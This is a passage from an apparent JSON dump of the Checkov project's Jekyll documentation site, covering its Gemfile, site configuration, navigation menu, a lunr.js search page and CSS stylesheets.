    "content": "source \"https://rubygems.org\"\n# Hello! This is where you manage which Jekyll version is used to run.\n# When you want to use a different version, change it below, save the\n# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:\n#\n#     bundle exec jekyll serve\n#\n# This will help ensure the proper Jekyll version is running.\n# Happy Jekylling!\n#gem \"jekyll\", \"~> 4.2.0\"\n# This is the default theme for new Jekyll sites. You may change this to anything you like.\n#gem \"minima\", \"~> 2.5\"\n# If you want to use GitHub Pages, remove the \"gem \"jekyll\"\" above and\n# uncomment the line below. To upgrade, run `bundle update github-pages`.\ngem \"github-pages\", group: :jekyll_plugins\n# If you have any plugins, put them here!\ngroup :jekyll_plugins do\n  gem \"jekyll-feed\", \"~> 0.11\"\n  gem \"jekyll-redirect-from\"\n  gem \"jekyll-remote-theme\"\nend\n\n# Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem\n# and associated library.\nplatforms :mingw, :x64_mingw, :mswin, :jruby do\n  gem \"tzinfo\", \"~> 1.2\"\n  gem \"tzinfo-data\"\nend\n\n# Performance-booster for watching directories on Windows\ngem \"wdm\", \"~> 0.1.1\", :platforms => [:mingw, :x64_mingw, :mswin]\n\n\ngem \"jekyll-get-json\", \"~> 1.0\"\n"
  },
  {
    "path": "docs/_config.yml",
    "content": "remote_theme: bridgecrewio/checkov-theme-2\n\nsite_author: Bridgecrew\nrepo_url: \"https://github.com/bridgecrewio/checkov/\"\n\nedit_on_github: true\ngithub_docs_folder: true\nsticky_navigation: true\nprev_next_buttons_location: both\nsearch_enabled: false\nhljs_style: github-gist\ngoogle_analytics: UA-156134275-1\nplugins:\n  - jekyll-redirect-from\n  - jekyll-remote-theme\n  - jekyll-get-json\n\njekyll_get_json:\n  - data: menus\n    json: './menus.json'\n"
  },
  {
    "path": "docs/index.md",
    "content": "---\n# Feel free to add content and custom Front Matter to this file.\n# To modify the layout, see https://jekyllrb.com/docs/themes/#overriding-theme-defaults\n\nlayout: home\n---\n"
  },
  {
    "path": "docs/menus.json",
    "content": "{\n  \"utility\": [\n    {\n      \"label\": \"About Prisma Cloud\",\n      \"url\": \"https://prismacloud.io/?utm_source=checkovio&utm_medium=organic_oss&utm_campaign=checkov\",\n      \"target\": \"_self\",\n      \"submenu\": false\n    }\n  ],\n  \"main\": [\n    {\n      \"label\": \"Overview\",\n      \"url\": \"/1.Welcome/What%20is%20Checkov.html\",\n      \"target\": \"_self\",\n      \"submenu\": false\n    },\n    {\n      \"label\": \"Docs\",\n      \"url\": \"/1.Welcome/Quick%20Start.html\",\n      \"target\": \"_self\",\n      \"submenu\": false\n    },\n    {\n      \"label\": \"Download\",\n      \"url\": \"/2.Basics/Installing%20Checkov.html\",\n      \"target\": \"_self\",\n      \"submenu\": false\n    }\n  ]\n}\n\n"
  },
  {
    "path": "docs/search.html",
    "content": "---\nlayout: base\ntitle: Search\nnav_exclude: true\nsearch_exclude: true\n---\n\n<h1 id=\"search\">Search Results</h1>\n\n<div id=\"search-results\" class=\"search-results\">\n    Enter a search query in the search box on the left.\n</div>\n\n<!-- We only need to load the search dependencies in this page. -->\n<script src=\"https://unpkg.com/lunr/lunr.js\"></script>\n<script type=\"text/javascript\">\n    \"use strict\";\n\n    // First we figure out if there is a search query and show a \"searching...\" animation\n    var getQueryVariable = function(variable) {\n      var query = window.location.search.substring(1);\n      var vars = query.split('&');\n      for (var i = 0; i < vars.length; i++) {\n        var pair = vars[i].split('=');\n        if (pair[0] === variable) {\n          return decodeURIComponent(pair[1].replace(/\\+/g, '%20'));\n        }\n      }\n    };\n    var searchResults = document.getElementById('search-results');\n    var searchQuery = getQueryVariable('q');\n    var dotAnimation = null;\n    if (searchQuery) {\n      document.getElementById('search-query').setAttribute('value', searchQuery);\n      var dotsCount = 0;\n      dotAnimation = setInterval(function() {\n        dotsCount++;\n        var dots = new Array(dotsCount % 5).join('.');\n        searchResults.innerHTML = '<li>Searching' + dots + '</li>';\n      }, 500);\n    }\n\n    // Then we perform the search on page load\n    window.addEventListener('load', function() {\n      var displaySearchResults = function(results, store) {\n        clearInterval(dotAnimation);\n        if (results.length) {\n          var appendString = '';\n          for (var i = 0; i < results.length; i++) {\n            var item = store[results[i].ref];\n            appendString += '<li><a href=\"' + item.url + '\"><h3>' + item.title + '</h3></a>';\n            appendString += '<p>' + item.content.substring(0, 150) + '...</p></li>';\n          }\n          searchResults.innerHTML = appendString;\n        } else {\n          searchResults.innerHTML = '<li>Your search did not match any documents. Please make sure that all words are spelled correctly and that you\\'ve selected enough categories.</li>';\n        }\n      };\n\n      if (searchQuery) {\n        var idx = lunr(function() {\n          this.field('id');\n          this.field('title', { boost: 10 });\n          this.field('author');\n          this.field('content');\n        });\n        $.getJSON('/search_data.json',function(search_data) {\n          var idx = lunr(function() {\n            this.field('id');\n            this.field('title', { boost: 10 });\n            this.field('author');\n            this.field('content');\n\n            for (var key in search_data) {\n              this.add({\n                'id': key,\n                'title': search_data[key].title,\n                'author': search_data[key].author,\n                'content': search_data[key].content\n              });\n            }\n          })\n\n          var results = idx.search(searchQuery);\n          displaySearchResults(results, search_data);\n        }).done(function() {\n        console.log( \"second success\" );\n      })\n      .fail(function(error) {\n        console.log( error );\n      })\n      .always(function() {\n        console.log( \"complete\" );\n      });\n      }\n    });\n\n\n</script>"
  },
  {
    "path": "docs/web/css/checkov.pyro.css",
    "content": "body {\n  font-family: sofia-pro, sans-serif;\n  color: #052882;\n  font-size: 20px;\n  line-height: 25px;\n  font-weight: 300;\n  letter-spacing: 0.5px;\n}\n\n.header {\n  position: fixed;\n  left: 0%;\n  top: 0%;\n  right: auto;\n  bottom: auto;\n  z-index: 10;\n  width: 100vw;\n  -webkit-transition: background-color 500ms ease;\n  transition: background-color 500ms ease;\n}\n\n.header-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-pack: justify;\n  -webkit-justify-content: space-between;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.image {\n  height: 45px;\n}\n\n.btns-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.btns-container.in-checkov-code {\n  margin-bottom: 100px;\n}\n\n.btns-container.ic-community {\n  margin-top: 60px;\n}\n\n.button {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 160px;\n  height: 38px;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  border: 1px solid #052882;\n  border-radius: 28px;\n  background-color: #052882;\n  box-shadow: 3px 3px 12px 2px #b3c3ea;\n  -webkit-transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease;\n  transition: border-color 350ms ease, color 500ms ease, background-color 500ms ease;\n  font-size: 16px;\n  line-height: 1;\n  text-align: center;\n}\n\n.button:hover {\n  background-color: #fff;\n  color: #052882;\n}\n\n.button.shadow-none {\n  box-shadow: none;\n}\n\n.button.shadow-none:hover {\n  background-color: #fff;\n  color: #052883;\n}\n\n.button.shadow-none.white-btn {\n  background-color: #fff;\n  color: #052882;\n}\n\n.button.shadow-none.white-btn.try-bc-btn {\n  margin-left: 30px;\n}\n\n.button.shadow-none.white-btn.try-bc-btn:hover {\n  background-color: #052882;\n  color: #fff;\n}\n\n.button.shadow-none.white-btn.white-btn-big {\n  width: 200px;\n  height: 45px;\n  margin-left: 30px;\n}\n\n.button.shadow-none.white-btn.white-btn-big:hover {\n  border-color: #fff;\n  background-color: transparent;\n  color: #fff;\n}\n\n.button.shadow-none.white-btn.white-btn-big.more-size-btn {\n  width: 260px;\n  height: 50px;\n}\n\n.button.shadow-none.big-btn-with-border {\n  width: 200px;\n  height: 45px;\n  border-color: #fff;\n}\n\n.button.shadow-none.big-btn-with-border.transparent-btn {\n  width: 260px;\n  height: 50px;\n  background-color: transparent;\n}\n\n.button.shadow-none.big-btn-with-border.transparent-btn:hover {\n  background-color: #fff;\n}\n\n.button.shadow-none.big-btn-with-border.transparent-btn.fix-size-trans-btn {\n  width: 200px;\n}\n\n.button.shadow-none.big-btn-with-border.transparent-btn.fix-size-trans-btn:hover {\n  background-color: #fff;\n}\n\n.checkov-page {\n  padding-top: 40px;\n  background-color: #123489;\n  background-image: linear-gradient(135deg, #123489, #102867);\n}\n\n.hero {\n  position: relative;\n  height: 100vh;\n  padding-top: 140px;\n  padding-right: 16vw;\n  padding-left: 16vw;\n}\n\n.main-title {\n  margin-top: 0px;\n  font-size: 40px;\n  line-height: 50px;\n  font-weight: 300;\n}\n\n.main-title.center-title {\n  text-align: center;\n}\n\n.main-title.center-title.community-title {\n  width: 40vw;\n  color: #fff;\n}\n\n.hero-text-container {\n  position: relative;\n  z-index: 1;\n  max-width: 45vw;\n}\n\n.hero-text {\n  max-width: 390px;\n  margin-top: 30px;\n  margin-bottom: 50px;\n}\n\n.hero-bg {\n  position: absolute;\n  left: 0%;\n  top: 0%;\n  right: auto;\n  bottom: auto;\n  display: none;\n  width: 100%;\n  height: 100%;\n  background-image: url('../images/Mask-Group-1.png');\n  background-position: 0% 0%;\n  background-size: cover;\n  background-repeat: no-repeat;\n}\n\n.mouse-outer-wrapper {\n  position: absolute;\n  left: 50%;\n  top: auto;\n  right: auto;\n  bottom: 40px;\n  z-index: 1;\n  -webkit-transform: translate(-50%, 0px);\n  -ms-transform: translate(-50%, 0px);\n  transform: translate(-50%, 0px);\n  cursor: pointer;\n}\n\n.mouse-outer {\n  position: relative;\n  width: 25px;\n  height: 40px;\n  border: 3px solid #fff;\n  border-radius: 20px;\n}\n\n.mouse-inner {\n  position: absolute;\n  left: 50%;\n  top: 10px;\n  right: auto;\n  bottom: auto;\n  width: 4px;\n  height: 4px;\n  border-radius: 1px;\n  background-color: #fff;\n  -webkit-transform: translate(-50%, 0px);\n  -ms-transform: translate(-50%, 0px);\n  transform: translate(-50%, 0px);\n}\n\n.checkov-code {\n  position: relative;\n  z-index: 1;\n  padding-top: 60px;\n  padding-right: 16vw;\n  padding-left: 16vw;\n}\n\n.checkov-code-text {\n  width: 35vw;\n  margin-bottom: 85px;\n  color: #fff;\n  font-size: 28px;\n  line-height: 35px;\n  text-align: center;\n}\n\n.checkov-code-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.checkov-code-img {\n  width: 60vw;\n  max-height: 615px;\n  margin-bottom: 55px;\n  -o-object-fit: cover;\n  object-fit: cover;\n}\n\n.features {\n  padding: 100px 16vw;\n}\n\n.features.center-title {\n  background-color: #fff;\n  text-align: center;\n}\n\n.features-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin-top: 85px;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n.single-feature {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 19vw;\n  min-width: 19vw;\n  margin-right: 15px;\n  margin-left: 15px;\n  padding-top: 3vw;\n  padding-bottom: 3vw;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  background-color: #fff;\n  box-shadow: 4px 0 20px -5px rgba(0, 0, 0, 0.2);\n}\n\n.img-wrapper {\n  height: 45%;\n}\n\n.feature-text {\n  width: 17vw;\n  margin-top: 60px;\n  margin-bottom: 0px;\n  font-size: 16px;\n}\n\n.open-source {\n  padding: 60px 16vw;\n  background-color: #fff;\n}\n\n.source-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin-top: 85px;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n}\n\n.single-source {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 15vw;\n  min-width: 15vw;\n  margin-right: 15px;\n  margin-left: 15px;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -webkit-box-pack: justify;\n  -webkit-justify-content: space-between;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n}\n\n.single-source-text {\n  margin-bottom: 30px;\n  font-size: 16px;\n  font-weight: 500;\n  text-align: center;\n}\n\n.twitter {\n  position: relative;\n  display: none;\n  padding: 60px 16vw 0px;\n  background-color: #fff;\n}\n\n.twitter-container {\n  position: relative;\n  z-index: 2;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  margin-top: 105px;\n  -webkit-box-pack: justify;\n  -webkit-justify-content: space-between;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n}\n\n.single-twitter-item {\n  width: 46%;\n  height: 12vw;\n  margin-right: 15px;\n  margin-bottom: 15px;\n  margin-left: 15px;\n  border-radius: 29px;\n  background-color: #fff;\n  box-shadow: 3px 3px 20px 0 rgba(0, 0, 0, 0.2);\n}\n\n.community {\n  position: relative;\n  margin-top: 0px;\n  padding: 300px 16vw 150px;\n  background-color: #fff;\n}\n\n.community-container {\n  position: relative;\n  z-index: 2;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-orient: vertical;\n  -webkit-box-direction: normal;\n  -webkit-flex-direction: column;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.community-bg {\n  position: absolute;\n  left: 0%;\n  top: 0%;\n  right: auto;\n  bottom: auto;\n  z-index: -1;\n  width: 100%;\n  height: 100%;\n  background-image: url('../images/community.png');\n  background-position: 0% 0%;\n  background-size: cover;\n  background-repeat: no-repeat;\n}\n\n.community-bg.pointer-events-none {\n  z-index: 0;\n}\n\n.footer {\n  position: relative;\n  width: 100vw;\n  padding: 20px 8vw;\n  background-color: #194ac6;\n}\n\n.footer-container {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: start;\n  -webkit-align-items: flex-start;\n  -ms-flex-align: start;\n  align-items: flex-start;\n}\n\n.footer-logo-wrapper {\n  margin-right: 6vw;\n  color: #fff;\n  font-size: 15px;\n  line-height: 18px;\n  text-decoration: none;\n}\n\n.bridge-logo {\n  height: 40px;\n}\n\n.powered-text {\n  margin-bottom: 5px;\n}\n\n.footer-li {\n  width: 25%;\n  margin-top: 0px;\n  margin-bottom: 10px;\n  font-size: 0.9vw;\n  line-height: 1.5vw;\n  font-weight: 200;\n}\n\n.footer-link {\n  color: #fff;\n  text-decoration: none;\n}\n\n.footer-links-list {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 45vw;\n  margin-bottom: 0px;\n  -webkit-flex-wrap: wrap;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n}\n\n.visit-on-text {\n  margin-bottom: 5px;\n  color: #fff;\n  font-size: 0.9vw;\n  line-height: 1.5vw;\n  font-weight: 200;\n}\n\n.social-links {\n  margin-top: 15px;\n}\n\n.single-social-link {\n  margin-right: 10px;\n  margin-left: 10px;\n}\n\n.single-social-link.first {\n  margin-left: 0px;\n}\n\n.single-social-link.last {\n  margin-right: 0px;\n}\n\n.to-top-btn {\n  position: fixed;\n  left: auto;\n  top: auto;\n  right: 0%;\n  bottom: 0%;\n  z-index: 10;\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  width: 60px;\n  height: 60px;\n  -webkit-box-pack: center;\n  -webkit-justify-content: center;\n  -ms-flex-pack: center;\n  justify-content: center;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  border-radius: 50%;\n  background-color: #052882;\n  -webkit-transform: translate(-50%, -50%);\n  -ms-transform: translate(-50%, -50%);\n  transform: translate(-50%, -50%);\n}\n\n.arrow-up {\n  height: 10px;\n  -o-object-fit: contain;\n  object-fit: contain;\n}\n\n.source-img {\n  font-family: Roboto, sans-serif;\n  font-weight: 400;\n}\n\n.social-img {\n  height: 24px;\n}\n\n.features-slider {\n  display: none;\n}\n\n.sources-slider {\n  display: none;\n}\n\n.hero-img {\n  position: absolute;\n  left: 0%;\n  top: 0%;\n  right: auto;\n  bottom: auto;\n  z-index: 0;\n  width: 100vw;\n}\n\n@media (max-width: 991px) {\n  body {\n    font-size: 16px;\n    line-height: 22px;\n    text-align: center;\n  }\n  .header {\n\n  }\n  .header-container {\n    -webkit-box-pack: center;\n    -webkit-justify-content: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n  }\n  .image {\n    height: 20px;\n  }\n  .btns-container.in-checkov-code {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: reverse;\n    -webkit-flex-direction: column-reverse;\n    -ms-flex-direction: column-reverse;\n    flex-direction: column-reverse;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n  }\n  .btns-container.ic-community {\n    margin-top: 30px;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: reverse;\n    -webkit-flex-direction: column-reverse;\n    -ms-flex-direction: column-reverse;\n    flex-direction: column-reverse;\n  }\n  .btns-container.in-header {\n    display: none;\n  }\n  .button {\n    box-shadow: 3px 3px 12px 0 #b3c3ea;\n    font-size: 14px;\n  }\n  .button.shadow-none.white-btn.white-btn-big {\n    margin-bottom: 15px;\n    margin-left: 0px;\n  }\n  .hero {\n    height: 90vh;\n    padding-top: 100px;\n    padding-right: 20px;\n    padding-left: 20px;\n    background-color: #fff;\n  }\n  .main-title {\n    font-size: 24px;\n    line-height: 28px;\n    font-weight: 700;\n  }\n  .main-title.center-title.community-title {\n    width: 100%;\n  }\n  .hero-text-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    max-width: 100%;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n  }\n  .hero-text {\n    max-width: 100%;\n  }\n  .hero-bg {\n    left: 0%;\n    top: auto;\n    right: auto;\n    bottom: 0%;\n    display: block;\n    background-color: #123489;\n    background-image: url('../images/circle.svg');\n    background-position: 0% 120%;\n    background-size: cover;\n    background-repeat: no-repeat;\n  }\n  .css {\n    display: none;\n  }\n  .checkov-code {\n    padding-right: 20px;\n    padding-left: 20px;\n  }\n  .checkov-code-text {\n    width: auto;\n    margin-bottom: 35px;\n    font-size: 18px;\n    line-height: 22px;\n  }\n  .checkov-code-img {\n    width: 100%;\n  }\n  .features.center-title {\n    padding: 50px 20px;\n  }\n  .features-container {\n    display: none;\n  }\n  .feature-text {\n    width: 200px;\n    max-width: 100%;\n    margin-top: 40px;\n    font-size: 14px;\n    line-height: 20px;\n    text-align: center;\n  }\n  .open-source {\n    padding: 100px 20px 50px;\n  }\n  .source-container {\n    display: none;\n  }\n  .single-source-text {\n    margin-bottom: 20px;\n    font-size: 14px;\n    text-align: center;\n  }\n  .twitter {\n    position: relative;\n    z-index: 1;\n    padding-top: 50px;\n    padding-right: 20px;\n    padding-left: 20px;\n  }\n  .twitter-container {\n    overflow: scroll;\n    width: 100vw;\n    margin-top: 50px;\n    margin-left: -20px;\n    -webkit-box-pack: center;\n    -webkit-justify-content: center;\n    -ms-flex-pack: center;\n    justify-content: center;\n    -webkit-flex-wrap: nowrap;\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n  }\n  .single-twitter-item {\n    width: 80%;\n    height: 110px;\n    min-width: 80%;\n  }\n  .community {\n    padding: 150px 20px 50px;\n  }\n  .footer {\n    padding-right: 40px;\n    padding-left: 40px;\n  }\n  .footer-container {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: reverse;\n    -webkit-flex-direction: column-reverse;\n    -ms-flex-direction: column-reverse;\n    flex-direction: column-reverse;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n  }\n  .footer-logo-wrapper {\n    margin-right: 0vw;\n  }\n  .bridge-logo {\n    height: 20px;\n  }\n  .powered-text {\n    font-size: 14px;\n    line-height: 17px;\n  }\n  .footer-li {\n    width: 50%;\n    font-size: 14px;\n    line-height: 17px;\n    text-align: left;\n  }\n  .footer-links-list {\n    width: 100%;\n    padding-left: 0px;\n  }\n  .footer-nav {\n    width: 100%;\n    margin-bottom: 20px;\n    padding-bottom: 20px;\n    -webkit-box-ordinal-group: 2;\n    -webkit-order: 1;\n    -ms-flex-order: 1;\n    order: 1;\n    border-bottom: 1px solid hsla(0, 0%, 100%, 0.75);\n  }\n  .footer-visit-on {\n    margin-bottom: 20px;\n  }\n  .visit-on-text {\n    font-size: 14px;\n    line-height: 17px;\n  }\n  .to-top-btn {\n    position: fixed;\n    top: 95%;\n    right: 0px;\n    z-index: 999;\n    width: 40px;\n    height: 40px;\n  }\n  .arrow-up {\n    height: 7px;\n  }\n  .source-img {\n    height: 260px;\n  }\n  .social-img {\n    height: 16px;\n  }\n  .features-slider {\n    display: block;\n    height: auto;\n    margin-top: 40px;\n    background-color: transparent;\n  }\n  .right-arrow {\n    display: none;\n  }\n  .left-arrow {\n    display: none;\n  }\n  .feature-slider-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n  }\n  .sources-slider {\n    display: block;\n    height: auto;\n    background-color: transparent;\n  }\n  .left-arrow-2 {\n    display: none;\n  }\n  .right-arrow-2 {\n    display: none;\n  }\n  .source-slider-container {\n    display: -webkit-box;\n    display: -webkit-flex;\n    display: -ms-flexbox;\n    display: flex;\n    margin-top: 20px;\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    -webkit-box-align: center;\n    -webkit-align-items: center;\n    -ms-flex-align: center;\n    align-items: center;\n  }\n  .slide-nav {\n    left: 0%;\n    top: 110%;\n    right: auto;\n    bottom: auto;\n    width: 100%;\n  }\n  .slide-nav.source-nav {\n    top: 100%;\n  }\n  .hero-img {\n    display: none;\n  }\n}\n\n@media (max-width: 767px) {\n  .hero {\n    padding-top: 15vh;\n  }\n}\n\n@media (max-width: 479px) {\n  .button.shadow-none.white-btn.white-btn-big.more-size-btn {\n    width: 240px;\n  }\n  .button.shadow-none.big-btn-with-border.transparent-btn {\n    width: 240px;\n  }\n  .footer-nav {\n    margin-bottom: 10px;\n    padding-bottom: 10px;\n  }\n}\n\n"
  },
  {
    "path": "docs/web/css/normalize.css",
    "content": "/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\n/**\n * 1. Set default font family to sans-serif.\n * 2. Prevent iOS and IE text size adjust after device orientation change,\n *    without disabling user zoom.\n */\nhtml {\n  font-family: sans-serif;\n  /* 1 */\n  -ms-text-size-adjust: 100%;\n  /* 2 */\n  -webkit-text-size-adjust: 100%;\n  /* 2 */\n}\n/**\n * Remove default margin.\n */\nbody {\n  margin: 0;\n}\n/* HTML5 display definitions\n   ========================================================================== */\n/**\n * Correct `block` display not defined for any HTML5 element in IE 8/9.\n * Correct `block` display not defined for `details` or `summary` in IE 10/11\n * and Firefox.\n * Correct `block` display not defined for `main` in IE 11.\n */\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\n/**\n * 1. Correct `inline-block` display not defined in IE 8/9.\n * 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.\n */\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  /* 1 */\n  vertical-align: baseline;\n  /* 2 */\n}\n/**\n * Prevent modern browsers from displaying `audio` without controls.\n * Remove excess height in iOS 5 devices.\n */\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n/**\n * Address `[hidden]` styling not present in IE 8/9/10.\n * Hide the `template` element in IE 8/9/10/11, Safari, and Firefox < 22.\n */\n[hidden],\ntemplate {\n  display: none;\n}\n/* Links\n   ========================================================================== */\n/**\n * Remove the gray background color from active links in IE 10.\n */\na {\n  background-color: transparent;\n}\n/**\n * Improve readability of focused elements when they are also in an\n * active/hover state.\n */\na:active,\na:hover {\n  outline: 0;\n}\n/* Text-level semantics\n   ========================================================================== */\n/**\n * Address styling not present in IE 8/9/10/11, Safari, and Chrome.\n */\nabbr[title] {\n  border-bottom: 1px dotted;\n}\n/**\n * Address style set to `bolder` in Firefox 4+, Safari, and Chrome.\n */\nb,\nstrong {\n  font-weight: bold;\n}\n/**\n * Address styling not present in Safari and Chrome.\n */\ndfn {\n  font-style: italic;\n}\n/**\n * Address variable `h1` font-size and margin within `section` and `article`\n * contexts in Firefox 4+, Safari, and Chrome.\n */\nh1 {\n  font-size: 2em;\n  margin: 0.67em 0;\n}\n/**\n * Address styling not present in IE 8/9.\n */\nmark {\n  background: #ff0;\n  color: #000;\n}\n/**\n * Address inconsistent and variable font size in all browsers.\n */\nsmall {\n  font-size: 80%;\n}\n/**\n * Prevent `sub` and `sup` affecting `line-height` in all browsers.\n */\nsub,\nsup {\n  font-size: 75%;\n  line-height: 0;\n  position: relative;\n  vertical-align: baseline;\n}\nsup {\n  top: -0.5em;\n}\nsub {\n  bottom: -0.25em;\n}\n/* Embedded content\n   ========================================================================== */\n/**\n * Remove border when inside `a` element in IE 8/9/10.\n */\nimg {\n  border: 0;\n}\n/**\n * Correct overflow not hidden in IE 9/10/11.\n */\nsvg:not(:root) {\n  overflow: hidden;\n}\n/* Grouping content\n   ========================================================================== */\n/**\n * Address margin not present in IE 8/9 and Safari.\n */\nfigure {\n  margin: 1em 40px;\n}\n/**\n * Address differences between Firefox and other browsers.\n */\nhr {\n  box-sizing: content-box;\n  height: 0;\n}\n/**\n * Contain overflow in all browsers.\n */\npre {\n  overflow: auto;\n}\n/**\n * Address odd `em`-unit font size rendering in all browsers.\n */\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n/* Forms\n   ========================================================================== */\n/**\n * Known limitation: by default, Chrome and Safari on OS X allow very limited\n * styling of `select`, unless a `border` property is set.\n */\n/**\n * 1. Correct color not being inherited.\n *    Known issue: affects color of disabled elements.\n * 2. Correct font properties not being inherited.\n * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.\n */\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  color: inherit;\n  /* 1 */\n  font: inherit;\n  /* 2 */\n  margin: 0;\n  /* 3 */\n}\n/**\n * Address `overflow` set to `hidden` in IE 8/9/10/11.\n */\nbutton {\n  overflow: visible;\n}\n/**\n * Address inconsistent `text-transform` inheritance for `button` and `select`.\n * All other form control elements do not inherit `text-transform` values.\n * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.\n * Correct `select` style inheritance in Firefox.\n */\nbutton,\nselect {\n  text-transform: none;\n}\n/**\n * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`\n *    and `video` controls.\n * 2. Correct inability to style clickable `input` types in iOS.\n * 3. Improve usability and consistency of cursor style between image-type\n *    `input` and others.\n * 4. CUSTOM FOR pyro: Removed the input[type=\"submit\"] selector to reduce\n *    specificity and defer to the .w-button selector\n */\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"] {\n  -webkit-appearance: button;\n  /* 2 */\n  cursor: pointer;\n  /* 3 */\n}\n/**\n * Re-set default cursor for disabled elements.\n */\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\n/**\n * Remove inner padding and border in Firefox 4+.\n */\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  border: 0;\n  padding: 0;\n}\n/**\n * Address Firefox 4+ setting `line-height` on `input` using `!important` in\n * the UA stylesheet.\n */\ninput {\n  line-height: normal;\n}\n/**\n * It's recommended that you don't attempt to style these elements.\n * Firefox's implementation doesn't respect box-sizing, padding, or width.\n *\n * 1. Address box sizing set to `content-box` in IE 8/9/10.\n * 2. Remove excess padding in IE 8/9/10.\n */\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  box-sizing: border-box;\n  /* 1 */\n  padding: 0;\n  /* 2 */\n}\n/**\n * Fix the cursor style for Chrome's increment/decrement buttons. For certain\n * `font-size` values of the `input`, it causes the cursor style of the\n * decrement button to change from `default` to `text`.\n */\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n/**\n * 